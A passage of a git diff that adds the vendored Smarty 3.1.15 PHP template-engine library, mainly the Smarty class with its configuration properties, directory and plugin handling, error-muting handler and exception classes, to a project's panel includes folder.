define('SMARTY_SPL_AUTOLOAD', 0); +} + +if (SMARTY_SPL_AUTOLOAD && set_include_path(get_include_path() . PATH_SEPARATOR . SMARTY_SYSPLUGINS_DIR) !== false) { + $registeredAutoLoadFunctions = spl_autoload_functions(); + if (!isset($registeredAutoLoadFunctions['spl_autoload'])) { + spl_autoload_register(); + } +} else { + spl_autoload_register('smartyAutoload'); +} + +/** + * Load always needed external class files + */ +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_data.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_templatebase.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_template.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_resource.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_resource_file.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_cacheresource.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_cacheresource_file.php'; + +/** + * This is the main Smarty class + * @package Smarty + */ +class Smarty extends Smarty_Internal_TemplateBase +{ + /**#@+ + * constant definitions + */ + + /** + * smarty version + */ + const SMARTY_VERSION = 'Smarty-3.1.15'; + + /** + * define variable scopes + */ + const SCOPE_LOCAL = 0; + const SCOPE_PARENT = 1; + const SCOPE_ROOT = 2; + const SCOPE_GLOBAL = 3; + /** + * define caching modes + */ + const CACHING_OFF = 0; + const CACHING_LIFETIME_CURRENT = 1; + const CACHING_LIFETIME_SAVED = 2; + /** + * define constant for clearing cache files be saved expiration datees + */ + const CLEAR_EXPIRED = -1; + + /** + * define compile check modes + */ + const COMPILECHECK_OFF = 0; + const COMPILECHECK_ON = 1; + const COMPILECHECK_CACHEMISS = 2; + /** + * modes for handling of "" tags in templates. + */ + const PHP_PASSTHRU = 0; //-> print tags as plain text + const PHP_QUOTE = 1; //-> escape tags as entities + const PHP_REMOVE = 2; //-> escape tags as entities + const PHP_ALLOW = 3; //-> escape tags as entities + /** + * filter types + */ + const FILTER_POST = 'post'; + const FILTER_PRE = 'pre'; + const FILTER_OUTPUT = 'output'; + const FILTER_VARIABLE = 'variable'; + /** + * plugin types + */ + const PLUGIN_FUNCTION = 'function'; + const PLUGIN_BLOCK = 'block'; + const PLUGIN_COMPILER = 'compiler'; + const PLUGIN_MODIFIER = 'modifier'; + const PLUGIN_MODIFIERCOMPILER = 'modifiercompiler'; + + /**#@-*/ + + /** + * assigned global tpl vars + */ + public static $global_tpl_vars = array(); + + /** + * error handler returned by set_error_hanlder() in Smarty::muteExpectedErrors() + */ + public static $_previous_error_handler = null; + /** + * contains directories outside of SMARTY_DIR that are to be muted by muteExpectedErrors() + */ + public static $_muted_directories = array(); + /** + * Flag denoting if Multibyte String functions are available + */ + public static $_MBSTRING = SMARTY_MBSTRING; + /** + * The character set to adhere to (e.g. "UTF-8") + */ + public static $_CHARSET = SMARTY_RESOURCE_CHAR_SET; + /** + * The date format to be used internally + * (accepts date() and strftime()) + */ + public static $_DATE_FORMAT = SMARTY_RESOURCE_DATE_FORMAT; + /** + * Flag denoting if PCRE should run in UTF-8 mode + */ + public static $_UTF8_MODIFIER = 'u'; + + /** + * Flag denoting if operating system is windows + */ + public static $_IS_WINDOWS = false; + + /**#@+ + * variables + */ + + /** + * auto literal on delimiters with whitspace + * @var boolean + */ + public $auto_literal = true; + /** + * display error on not assigned variables + * @var boolean + */ + public $error_unassigned = false; + /** + * look up relative filepaths in include_path + * @var boolean + */ + public $use_include_path = false; + /** + * template directory + * @var array + */ + private $template_dir = array(); + /** + * joined template directory string used in cache keys + * @var string + */ + public $joined_template_dir = null; + /** + * joined config directory string used in cache keys + * @var string + */ + public $joined_config_dir = null; + /** + * default template handler + * @var callable + */ + public $default_template_handler_func = null; + /** + * default config handler + * @var callable + */ + public $default_config_handler_func = null; + /** + * default plugin handler + * @var callable + */ + public $default_plugin_handler_func = null; + /** + * compile directory + * @var string + */ + private $compile_dir = null; + /** + * plugins directory + * @var array + */ + private $plugins_dir = array(); + /** + * cache directory + * @var string + */ + private $cache_dir = null; + /** + * config directory + * @var array + */ + private $config_dir = array(); + /** + * force template compiling? + * @var boolean + */ + public $force_compile = false; + /** + * check template for modifications? + * @var boolean + */ + public $compile_check = true; + /** + * use sub dirs for compiled/cached files? + * @var boolean + */ + public $use_sub_dirs = false; + /** + * allow ambiguous resources (that are made unique by the resource handler) + * @var boolean + */ + public $allow_ambiguous_resources = false; + /** + * caching enabled + * @var boolean + */ + public $caching = false; + /** + * merge compiled includes + * @var boolean + */ + public $merge_compiled_includes = false; + /** + * cache lifetime in seconds + * @var integer + */ + public $cache_lifetime = 3600; + /** + * force cache file creation + * @var boolean + */ + public $force_cache = false; + /** + * Set this if you want different sets of cache files for the same + * templates. + * + * @var string + */ + public $cache_id = null; + /** + * Set this if you want different sets of compiled files for the same + * templates. + * + * @var string + */ + public $compile_id = null; + /** + * template left-delimiter + * @var string + */ + public $left_delimiter = "{"; + /** + * template right-delimiter + * @var string + */ + public $right_delimiter = "}"; + /**#@+ + * security + */ + /** + * class name + * + * This should be instance of Smarty_Security. + * + * @var string + * @see Smarty_Security + */ + public $security_class = 'Smarty_Security'; + /** + * implementation of security class + * + * @var Smarty_Security + */ + public $security_policy = null; + /** + * controls handling of PHP-blocks + * + * @var integer + */ + public $php_handling = self::PHP_PASSTHRU; + /** + * controls if the php template file resource is allowed + * + * @var bool + */ + public $allow_php_templates = false; + /** + * Should compiled-templates be prevented from being called directly? + * + * {@internal + * Currently used by Smarty_Internal_Template only. + * }} + * + * @var boolean + */ + public $direct_access_security = true; + /**#@-*/ + /** + * debug mode + * + * Setting this to true enables the debug-console. + * + * @var boolean + */ + public $debugging = false; + /** + * This determines if debugging is enable-able from the browser. + * + * @var string + */ + public $debugging_ctrl = 'NONE'; + /** + * Name of debugging URL-param. + * + * Only used when $debugging_ctrl is set to 'URL'. + * The name of the URL-parameter that activates debugging. + * + * @var type + */ + public $smarty_debug_id = 'SMARTY_DEBUG'; + /** + * Path of debug template. + * @var string + */ + public $debug_tpl = null; + /** + * When set, smarty uses this value as error_reporting-level. + * @var int + */ + public $error_reporting = null; + /** + * Internal flag for getTags() + * @var boolean + */ + public $get_used_tags = false; + + /**#@+ + * config var settings + */ + + /** + * Controls whether variables with the same name overwrite each other. + * @var boolean + */ + public $config_overwrite = true; + /** + * Controls whether config values of on/true/yes and off/false/no get converted to boolean. + * @var boolean + */ + public $config_booleanize = true; + /** + * Controls whether hidden config sections/vars are read from the file. + * @var boolean + */ + public $config_read_hidden = false; + + /**#@-*/ + + /**#@+ + * resource locking + */ + + /** + * locking concurrent compiles + * @var boolean + */ + public $compile_locking = true; + /** + * Controls whether cache resources should emply locking mechanism + * @var boolean + */ + public $cache_locking = false; + /** + * seconds to wait for acquiring a lock before ignoring the write lock + * @var float + */ + public $locking_timeout = 10; + + /**#@-*/ + + /** + * global template functions + * @var array + */ + public $template_functions = array(); + /** + * resource type used if none given + * + * Must be an valid key of $registered_resources. + * @var string + */ + public $default_resource_type = 'file'; + /** + * caching type + * + * Must be an element of $cache_resource_types. + * + * @var string + */ + public $caching_type = 'file'; + /** + * internal config properties + * @var array + */ + public $properties = array(); + /** + * config type + * @var string + */ + public $default_config_type = 'file'; + /** + * cached template objects + * @var array + */ + public $template_objects = array(); + /** + * check If-Modified-Since headers + * @var boolean + */ + public $cache_modified_check = false; + /** + * registered plugins + * @var array + */ + public $registered_plugins = array(); + /** + * plugin search order + * @var array + */ + public $plugin_search_order = array('function', 'block', 'compiler', 'class'); + /** + * registered objects + * @var array + */ + public $registered_objects = array(); + /** + * registered classes + * @var array + */ + public $registered_classes = array(); + /** + * registered filters + * @var array + */ + public $registered_filters = array(); + /** + * registered resources + * @var array + */ + public $registered_resources = array(); + /** + * resource handler cache + * @var array + */ + public $_resource_handlers = array(); + /** + * registered cache resources + * @var array + */ + public $registered_cache_resources = array(); + /** + * cache resource handler cache + * @var array + */ + public $_cacheresource_handlers = array(); + /** + * autoload filter + * @var array + */ + public $autoload_filters = array(); + /** + * default modifier + * @var array + */ + public $default_modifiers = array(); + /** + * autoescape variable output + * @var boolean + */ + public $escape_html = false; + /** + * global internal smarty vars + * @var array + */ + public static $_smarty_vars = array(); + /** + * start time for execution time calculation + * @var int + */ + public $start_time = 0; + /** + * default file permissions + * @var int + */ + public $_file_perms = 0644; + /** + * default dir permissions + * @var int + */ + public $_dir_perms = 0771; + /** + * block tag hierarchy + * @var array + */ + public $_tag_stack = array(); + /** + * self pointer to Smarty object + * @var Smarty + */ + public $smarty; + /** + * required by the compiler for BC + * @var string + */ + public $_current_file = null; + /** + * internal flag to enable parser debugging + * @var bool + */ + public $_parserdebug = false; + /** + * Saved parameter of merged templates during compilation + * + * @var array + */ + public $merged_templates_func = array(); + /**#@-*/ + + /** + * Initialize new Smarty object + * + */ + public function __construct() + { + // selfpointer needed by some other class methods + $this->smarty = $this; + if (is_callable('mb_internal_encoding')) { + mb_internal_encoding(Smarty::$_CHARSET); + } + $this->start_time = microtime(true); + // set default dirs + $this->setTemplateDir('.' . DS . 'templates' . DS) + ->setCompileDir('.' . DS . 'templates_c' . DS) + ->setPluginsDir(SMARTY_PLUGINS_DIR) + ->setCacheDir('.' . DS . 'cache' . DS) + ->setConfigDir('.' . DS . 'configs' . DS); + + $this->debug_tpl = 'file:' . dirname(__FILE__) . '/debug.tpl'; + if (isset($_SERVER['SCRIPT_NAME'])) { + $this->assignGlobal('SCRIPT_NAME', $_SERVER['SCRIPT_NAME']); + } + } + + /** + * Class destructor + */ + public function __destruct() + { + // intentionally left blank + } + + /** + * <> set selfpointer on cloned object + */ + public function __clone() + { + $this->smarty = $this; + } + + /** + * <> Generic getter. + * + * Calls the appropriate getter function. + * Issues an E_USER_NOTICE if no valid getter is found. + * + * @param string $name property name + * @return mixed + */ + public function __get($name) + { + $allowed = array( + 'template_dir' => 'getTemplateDir', + 'config_dir' => 'getConfigDir', + 'plugins_dir' => 'getPluginsDir', + 'compile_dir' => 'getCompileDir', + 'cache_dir' => 'getCacheDir', + ); + + if (isset($allowed[$name])) { + return $this->{$allowed[$name]}(); + } else { + trigger_error('Undefined property: '. get_class($this) .'::$'. $name, E_USER_NOTICE); + } + } + + /** + * <> Generic setter. + * + * Calls the appropriate setter function. + * Issues an E_USER_NOTICE if no valid setter is found. + * + * @param string $name property name + * @param mixed $value parameter passed to setter + */ + public function __set($name, $value) + { + $allowed = array( + 'template_dir' => 'setTemplateDir', + 'config_dir' => 'setConfigDir', + 'plugins_dir' => 'setPluginsDir', + 'compile_dir' => 'setCompileDir', + 'cache_dir' => 'setCacheDir', + ); + + if (isset($allowed[$name])) { + $this->{$allowed[$name]}($value); + } else { + trigger_error('Undefined property: ' . get_class($this) . '::$' . $name, E_USER_NOTICE); + } + } + + /** + * Check if a template resource exists + * + * @param string $resource_name template name + * @return boolean status + */ + public function templateExists($resource_name) + { + // create template object + $save = $this->template_objects; + $tpl = new $this->template_class($resource_name, $this); + // check if it does exists + $result = $tpl->source->exists; + $this->template_objects = $save; + + return $result; + } + + /** + * Returns a single or all global variables + * + * @param object $smarty + * @param string $varname variable name or null + * @return string variable value or or array of variables + */ + public function getGlobal($varname = null) + { + if (isset($varname)) { + if (isset(self::$global_tpl_vars[$varname])) { + return self::$global_tpl_vars[$varname]->value; + } else { + return ''; + } + } else { + $_result = array(); + foreach (self::$global_tpl_vars AS $key => $var) { + $_result[$key] = $var->value; + } + + return $_result; + } + } + + /** + * Empty cache folder + * + * @param integer $exp_time expiration time + * @param string $type resource type + * @return integer number of cache files deleted + */ + public function clearAllCache($exp_time = null, $type = null) + { + // load cache resource and call clearAll + $_cache_resource = Smarty_CacheResource::load($this, $type); + Smarty_CacheResource::invalidLoadedCache($this); + + return $_cache_resource->clearAll($this, $exp_time); + } + + /** + * Empty cache for a specific template + * + * @param string $template_name template name + * @param string $cache_id cache id + * @param string $compile_id compile id + * @param integer $exp_time expiration time + * @param string $type resource type + * @return integer number of cache files deleted + */ + public function clearCache($template_name, $cache_id = null, $compile_id = null, $exp_time = null, $type = null) + { + // load cache resource and call clear + $_cache_resource = Smarty_CacheResource::load($this, $type); + Smarty_CacheResource::invalidLoadedCache($this); + + return $_cache_resource->clear($this, $template_name, $cache_id, $compile_id, $exp_time); + } + + /** + * Loads security class and enables security + * + * @param string|Smarty_Security $security_class if a string is used, it must be class-name + * @return Smarty current Smarty instance for chaining + * @throws SmartyException when an invalid class name is provided + */ + public function enableSecurity($security_class = null) + { + if ($security_class instanceof Smarty_Security) { + $this->security_policy = $security_class; + + return $this; + } elseif (is_object($security_class)) { + throw new SmartyException("Class '" . get_class($security_class) . "' must extend Smarty_Security."); + } + if ($security_class == null) { + $security_class = $this->security_class; + } + if (!class_exists($security_class)) { + throw new SmartyException("Security class '$security_class' is not defined"); + } elseif ($security_class !== 'Smarty_Security' && !is_subclass_of($security_class, 'Smarty_Security')) { + throw new SmartyException("Class '$security_class' must extend Smarty_Security."); + } else { + $this->security_policy = new $security_class($this); + } + + return $this; + } + + /** + * Disable security + * @return Smarty current Smarty instance for chaining + */ + public function disableSecurity() + { + $this->security_policy = null; + + return $this; + } + + /** + * Set template directory + * + * @param string|array $template_dir directory(s) of template sources + * @return Smarty current Smarty instance for chaining + */ + public function setTemplateDir($template_dir) + { + $this->template_dir = array(); + foreach ((array) $template_dir as $k => $v) { + $this->template_dir[$k] = rtrim($v, '/\\') . DS; + } + + $this->joined_template_dir = join(DIRECTORY_SEPARATOR, $this->template_dir); + + return $this; + } + + /** + * Add template directory(s) + * + * @param string|array $template_dir directory(s) of template sources + * @param string $key of the array element to assign the template dir to + * @return Smarty current Smarty instance for chaining + * @throws SmartyException when the given template directory is not valid + */ + public function addTemplateDir($template_dir, $key=null) + { + // make sure we're dealing with an array + $this->template_dir = (array) $this->template_dir; + + if (is_array($template_dir)) { + foreach ($template_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->template_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->template_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } elseif ($key !== null) { + // override directory at specified index + $this->template_dir[$key] = rtrim($template_dir, '/\\') . DS; + } else { + // append new directory + $this->template_dir[] = rtrim($template_dir, '/\\') . DS; + } + $this->joined_template_dir = join(DIRECTORY_SEPARATOR, $this->template_dir); + + return $this; + } + + /** + * Get template directories + * + * @param mixed index of directory to get, null to get all + * @return array|string list of template directories, or directory of $index + */ + public function getTemplateDir($index=null) + { + if ($index !== null) { + return isset($this->template_dir[$index]) ? $this->template_dir[$index] : null; + } + + return (array) $this->template_dir; + } + + /** + * Set config directory + * + * @param string|array $template_dir directory(s) of configuration sources + * @return Smarty current Smarty instance for chaining + */ + public function setConfigDir($config_dir) + { + $this->config_dir = array(); + foreach ((array) $config_dir as $k => $v) { + $this->config_dir[$k] = rtrim($v, '/\\') . DS; + } + + $this->joined_config_dir = join(DIRECTORY_SEPARATOR, $this->config_dir); + + return $this; + } + + /** + * Add config directory(s) + * + * @param string|array $config_dir directory(s) of config sources + * @param string key of the array element to assign the config dir to + * @return Smarty current Smarty instance for chaining + */ + public function addConfigDir($config_dir, $key=null) + { + // make sure we're dealing with an array + $this->config_dir = (array) $this->config_dir; + + if (is_array($config_dir)) { + foreach ($config_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->config_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->config_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } elseif ($key !== null) { + // override directory at specified index + $this->config_dir[$key] = rtrim($config_dir, '/\\') . DS; + } else { + // append new directory + $this->config_dir[] = rtrim($config_dir, '/\\') . DS; + } + + $this->joined_config_dir = join(DIRECTORY_SEPARATOR, $this->config_dir); + + return $this; + } + + /** + * Get config directory + * + * @param mixed index of directory to get, null to get all + * @return array|string configuration directory + */ + public function getConfigDir($index=null) + { + if ($index !== null) { + return isset($this->config_dir[$index]) ? $this->config_dir[$index] : null; + } + + return (array) $this->config_dir; + } + + /** + * Set plugins directory + * + * @param string|array $plugins_dir directory(s) of plugins + * @return Smarty current Smarty instance for chaining + */ + public function setPluginsDir($plugins_dir) + { + $this->plugins_dir = array(); + foreach ((array) $plugins_dir as $k => $v) { + $this->plugins_dir[$k] = rtrim($v, '/\\') . DS; + } + + return $this; + } + + /** + * Adds directory of plugin files + * + * @param object $smarty + * @param string $ |array $ plugins folder + * @return Smarty current Smarty instance for chaining + */ + public function addPluginsDir($plugins_dir) + { + // make sure we're dealing with an array + $this->plugins_dir = (array) $this->plugins_dir; + + if (is_array($plugins_dir)) { + foreach ($plugins_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->plugins_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->plugins_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } else { + // append new directory + $this->plugins_dir[] = rtrim($plugins_dir, '/\\') . DS; + } + + $this->plugins_dir = array_unique($this->plugins_dir); + + return $this; + } + + /** + * Get plugin directories + * + * @return array list of plugin directories + */ + public function getPluginsDir() + { + return (array) $this->plugins_dir; + } + + /** + * Set compile directory + * + * @param string $compile_dir directory to store compiled templates in + * @return Smarty current Smarty instance for chaining + */ + public function setCompileDir($compile_dir) + { + $this->compile_dir = rtrim($compile_dir, '/\\') . DS; + if (!isset(Smarty::$_muted_directories[$this->compile_dir])) { + Smarty::$_muted_directories[$this->compile_dir] = null; + } + + return $this; + } + + /** + * Get compiled directory + * + * @return string path to compiled templates + */ + public function getCompileDir() + { + return $this->compile_dir; + } + + /** + * Set cache directory + * + * @param string $cache_dir directory to store cached templates in + * @return Smarty current Smarty instance for chaining + */ + public function setCacheDir($cache_dir) + { + $this->cache_dir = rtrim($cache_dir, '/\\') . DS; + if (!isset(Smarty::$_muted_directories[$this->cache_dir])) { + Smarty::$_muted_directories[$this->cache_dir] = null; + } + + return $this; + } + + /** + * Get cache directory + * + * @return string path of cache directory + */ + public function getCacheDir() + { + return $this->cache_dir; + } + + /** + * Set default modifiers + * + * @param array|string $modifiers modifier or list of modifiers to set + * @return Smarty current Smarty instance for chaining + */ + public function setDefaultModifiers($modifiers) + { + $this->default_modifiers = (array) $modifiers; + + return $this; + } + + /** + * Add default modifiers + * + * @param array|string $modifiers modifier or list of modifiers to add + * @return Smarty current Smarty instance for chaining + */ + public function addDefaultModifiers($modifiers) + { + if (is_array($modifiers)) { + $this->default_modifiers = array_merge($this->default_modifiers, $modifiers); + } else { + $this->default_modifiers[] = $modifiers; + } + + return $this; + } + + /** + * Get default modifiers + * + * @return array list of default modifiers + */ + public function getDefaultModifiers() + { + return $this->default_modifiers; + } + + + /** + * Set autoload filters + * + * @param array $filters filters to load automatically + * @param string $type "pre", "output", … specify the filter type to set. Defaults to none treating $filters' keys as the appropriate types + * @return Smarty current Smarty instance for chaining + */ + public function setAutoloadFilters($filters, $type=null) + { + if ($type !== null) { + $this->autoload_filters[$type] = (array) $filters; + } else { + $this->autoload_filters = (array) $filters; + } + + return $this; + } + + /** + * Add autoload filters + * + * @param array $filters filters to load automatically + * @param string $type "pre", "output", … specify the filter type to set. Defaults to none treating $filters' keys as the appropriate types + * @return Smarty current Smarty instance for chaining + */ + public function addAutoloadFilters($filters, $type=null) + { + if ($type !== null) { + if (!empty($this->autoload_filters[$type])) { + $this->autoload_filters[$type] = array_merge($this->autoload_filters[$type], (array) $filters); + } else { + $this->autoload_filters[$type] = (array) $filters; + } + } else { + foreach ((array) $filters as $key => $value) { + if (!empty($this->autoload_filters[$key])) { + $this->autoload_filters[$key] = array_merge($this->autoload_filters[$key], (array) $value); + } else { + $this->autoload_filters[$key] = (array) $value; + } + } + } + + return $this; + } + + /** + * Get autoload filters + * + * @param string $type type of filter to get autoloads for. Defaults to all autoload filters + * @return array array( 'type1' => array( 'filter1', 'filter2', … ) ) or array( 'filter1', 'filter2', …) if $type was specified + */ + public function getAutoloadFilters($type=null) + { + if ($type !== null) { + return isset($this->autoload_filters[$type]) ? $this->autoload_filters[$type] : array(); + } + + return $this->autoload_filters; + } + + /** + * return name of debugging template + * + * @return string + */ + public function getDebugTemplate() + { + return $this->debug_tpl; + } + + /** + * set the debug template + * + * @param string $tpl_name + * @return Smarty current Smarty instance for chaining + * @throws SmartyException if file is not readable + */ + public function setDebugTemplate($tpl_name) + { + if (!is_readable($tpl_name)) { + throw new SmartyException("Unknown file '{$tpl_name}'"); + } + $this->debug_tpl = $tpl_name; + + return $this; + } + + /** + * creates a template object + * + * @param string $template the resource handle of the template file + * @param mixed $cache_id cache id to be used with this template + * @param mixed $compile_id compile id to be used with this template + * @param object $parent next higher level of Smarty variables + * @param boolean $do_clone flag is Smarty object shall be cloned + * @return object template object + */ + public function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null, $do_clone = true) + { + if (!empty($cache_id) && (is_object($cache_id) || is_array($cache_id))) { + $parent = $cache_id; + $cache_id = null; + } + if (!empty($parent) && is_array($parent)) { + $data = $parent; + $parent = null; + } else { + $data = null; + } + // default to cache_id and compile_id of Smarty object + $cache_id = $cache_id === null ? $this->cache_id : $cache_id; + $compile_id = $compile_id === null ? $this->compile_id : $compile_id; + // already in template cache? + if ($this->allow_ambiguous_resources) { + $_templateId = Smarty_Resource::getUniqueTemplateName($this, $template) . $cache_id . $compile_id; + } else { + $_templateId = $this->joined_template_dir . '#' . $template . $cache_id . $compile_id; + } + if (isset($_templateId[150])) { + $_templateId = sha1($_templateId); + } + if ($do_clone) { + if (isset($this->template_objects[$_templateId])) { + // return cached template object + $tpl = clone $this->template_objects[$_templateId]; + $tpl->smarty = clone $tpl->smarty; + $tpl->parent = $parent; + $tpl->tpl_vars = array(); + $tpl->config_vars = array(); + } else { + $tpl = new $this->template_class($template, clone $this, $parent, $cache_id, $compile_id); + } + } else { + if (isset($this->template_objects[$_templateId])) { + // return cached template object + $tpl = $this->template_objects[$_templateId]; + $tpl->parent = $parent; + $tpl->tpl_vars = array(); + $tpl->config_vars = array(); + } else { + $tpl = new $this->template_class($template, $this, $parent, $cache_id, $compile_id); + } + } + // fill data if present + if (!empty($data) && is_array($data)) { + // set up variable values + foreach ($data as $_key => $_val) { + $tpl->tpl_vars[$_key] = new Smarty_variable($_val); + } + } + + return $tpl; + } + + + /** + * Takes unknown classes and loads plugin files for them + * class name format: Smarty_PluginType_PluginName + * plugin filename format: plugintype.pluginname.php + * + * @param string $plugin_name class plugin name to load + * @param bool $check check if already loaded + * @return string |boolean filepath of loaded file or false + */ + public function loadPlugin($plugin_name, $check = true) + { + // if function or class exists, exit silently (already loaded) + if ($check && (is_callable($plugin_name) || class_exists($plugin_name, false))) { + return true; + } + // Plugin name is expected to be: Smarty_[Type]_[Name] + $_name_parts = explode('_', $plugin_name, 3); + // class name must have three parts to be valid plugin + // count($_name_parts) < 3 === !isset($_name_parts[2]) + if (!isset($_name_parts[2]) || strtolower($_name_parts[0]) !== 'smarty') { + throw new SmartyException("plugin {$plugin_name} is not a valid name format"); + + return false; + } + // if type is "internal", get plugin from sysplugins + if (strtolower($_name_parts[1]) == 'internal') { + $file = SMARTY_SYSPLUGINS_DIR . strtolower($plugin_name) . '.php'; + if (file_exists($file)) { + require_once($file); + + return $file; + } else { + return false; + } + } + // plugin filename is expected to be: [type].[name].php + $_plugin_filename = "{$_name_parts[1]}.{$_name_parts[2]}.php"; + + $_stream_resolve_include_path = function_exists('stream_resolve_include_path'); + + // loop through plugin dirs and find the plugin + foreach ($this->getPluginsDir() as $_plugin_dir) { + $names = array( + $_plugin_dir . $_plugin_filename, + $_plugin_dir . strtolower($_plugin_filename), + ); + foreach ($names as $file) { + if (file_exists($file)) { + require_once($file); + + return $file; + } + if ($this->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_plugin_dir)) { + // try PHP include_path + if ($_stream_resolve_include_path) { + $file = stream_resolve_include_path($file); + } else { + $file = Smarty_Internal_Get_Include_Path::getIncludePath($file); + } + + if ($file !== false) { + require_once($file); + + return $file; + } + } + } + } + // no plugin loaded + return false; + } + + /** + * Compile all template files + * + * @param string $extension file extension + * @param bool $force_compile force all to recompile + * @param int $time_limit + * @param int $max_errors + * @return integer number of template files recompiled + */ + public function compileAllTemplates($extension = '.tpl', $force_compile = false, $time_limit = 0, $max_errors = null) + { + return Smarty_Internal_Utility::compileAllTemplates($extension, $force_compile, $time_limit, $max_errors, $this); + } + + /** + * Compile all config files + * + * @param string $extension file extension + * @param bool $force_compile force all to recompile + * @param int $time_limit + * @param int $max_errors + * @return integer number of template files recompiled + */ + public function compileAllConfig($extension = '.conf', $force_compile = false, $time_limit = 0, $max_errors = null) + { + return Smarty_Internal_Utility::compileAllConfig($extension, $force_compile, $time_limit, $max_errors, $this); + } + + /** + * Delete compiled template file + * + * @param string $resource_name template name + * @param string $compile_id compile id + * @param integer $exp_time expiration time + * @return integer number of template files deleted + */ + public function clearCompiledTemplate($resource_name = null, $compile_id = null, $exp_time = null) + { + return Smarty_Internal_Utility::clearCompiledTemplate($resource_name, $compile_id, $exp_time, $this); + } + + + /** + * Return array of tag/attributes of all tags used by an template + * + * @param object $templae template object + * @return array of tag/attributes + */ + public function getTags(Smarty_Internal_Template $template) + { + return Smarty_Internal_Utility::getTags($template); + } + + /** + * Run installation test + * + * @param array $errors Array to write errors into, rather than outputting them + * @return boolean true if setup is fine, false if something is wrong + */ + public function testInstall(&$errors=null) + { + return Smarty_Internal_Utility::testInstall($this, $errors); + } + + /** + * Error Handler to mute expected messages + * + * @link http://php.net/set_error_handler + * @param integer $errno Error level + * @return boolean + */ + public static function mutingErrorHandler($errno, $errstr, $errfile, $errline, $errcontext) + { + $_is_muted_directory = false; + + // add the SMARTY_DIR to the list of muted directories + if (!isset(Smarty::$_muted_directories[SMARTY_DIR])) { + $smarty_dir = realpath(SMARTY_DIR); + if ($smarty_dir !== false) { + Smarty::$_muted_directories[SMARTY_DIR] = array( + 'file' => $smarty_dir, + 'length' => strlen($smarty_dir), + ); + } + } + + // walk the muted directories and test against $errfile + foreach (Smarty::$_muted_directories as $key => &$dir) { + if (!$dir) { + // resolve directory and length for speedy comparisons + $file = realpath($key); + if ($file === false) { + // this directory does not exist, remove and skip it + unset(Smarty::$_muted_directories[$key]); + continue; + } + $dir = array( + 'file' => $file, + 'length' => strlen($file), + ); + } + if (!strncmp($errfile, $dir['file'], $dir['length'])) { + $_is_muted_directory = true; + break; + } + } + + // pass to next error handler if this error did not occur inside SMARTY_DIR + // or the error was within smarty but masked to be ignored + if (!$_is_muted_directory || ($errno && $errno & error_reporting())) { + if (Smarty::$_previous_error_handler) { + return call_user_func(Smarty::$_previous_error_handler, $errno, $errstr, $errfile, $errline, $errcontext); + } else { + return false; + } + } + } + + /** + * Enable error handler to mute expected messages + * + * @return void + */ + public static function muteExpectedErrors() + { + /* + error muting is done because some people implemented custom error_handlers using + http://php.net/set_error_handler and for some reason did not understand the following paragraph: + + It is important to remember that the standard PHP error handler is completely bypassed for the + error types specified by error_types unless the callback function returns FALSE. + error_reporting() settings will have no effect and your error handler will be called regardless - + however you are still able to read the current value of error_reporting and act appropriately. + Of particular note is that this value will be 0 if the statement that caused the error was + prepended by the @ error-control operator. + + Smarty deliberately uses @filemtime() over file_exists() and filemtime() in some places. Reasons include + - @filemtime() is almost twice as fast as using an additional file_exists() + - between file_exists() and filemtime() a possible race condition is opened, + which does not exist using the simple @filemtime() approach. + */ + $error_handler = array('Smarty', 'mutingErrorHandler'); + $previous = set_error_handler($error_handler); + + // avoid dead loops + if ($previous !== $error_handler) { + Smarty::$_previous_error_handler = $previous; + } + } + + /** + * Disable error handler muting expected messages + * + * @return void + */ + public static function unmuteExpectedErrors() + { + restore_error_handler(); + } +} + +// Check if we're running on windows +Smarty::$_IS_WINDOWS = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; + +// let PCRE (preg_*) treat strings as ISO-8859-1 if we're not dealing with UTF-8 +if (Smarty::$_CHARSET !== 'UTF-8') { + Smarty::$_UTF8_MODIFIER = ''; +} + +/** + * Smarty exception class + * @package Smarty + */ +class SmartyException extends Exception +{ + public static $escape = false; + + public function __toString() + { + return ' --> Smarty: ' . (self::$escape ? htmlentities($this->message) : $this->message) . ' <-- '; + } +} + +/** + * Smarty compiler exception class + * @package Smarty + */ +class SmartyCompilerException extends SmartyException +{ + public function __toString() + { + return ' --> Smarty Compiler: ' . $this->message . ' <-- '; + } + /** + * The line number of the template error + * @type int|null + */ + public $line = null; + /** + * The template source snippet relating to the error + * @type string|null + */ + public $source = null; + /** + * The raw text of the error message + * @type string|null + */ + public $desc = null; + /** + * The resource identifier or template name + * @type string|null + */ + public $template = null; +} + +/** + * Autoloader + */ +function smartyAutoload($class) +{ + $_class = strtolower($class); + static $_classes = array( + 'smarty_config_source' => true, + 'smarty_config_compiled' => true, + 'smarty_security' => true, + 'smarty_cacheresource' => true, + 'smarty_cacheresource_custom' => true, + 'smarty_cacheresource_keyvaluestore' => true, + 'smarty_resource' => true, + 'smarty_resource_custom' => true, + 'smarty_resource_uncompiled' => true, + 'smarty_resource_recompiled' => true, + ); + + if (!strncmp($_class, 'smarty_internal_', 16) || isset($_classes[$_class])) { + include SMARTY_SYSPLUGINS_DIR . $_class . '.php'; + } +} diff --git a/panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php b/panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php new file mode 100644 index 0000000..32f2228 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php @@ -0,0 +1,459 @@ + + * @author Uwe Tews + * @author Rodney Rehm + * @package Smarty + */ +/** + * @ignore + */ +require(dirname(__FILE__) . '/Smarty.class.php'); + +/** + * Smarty 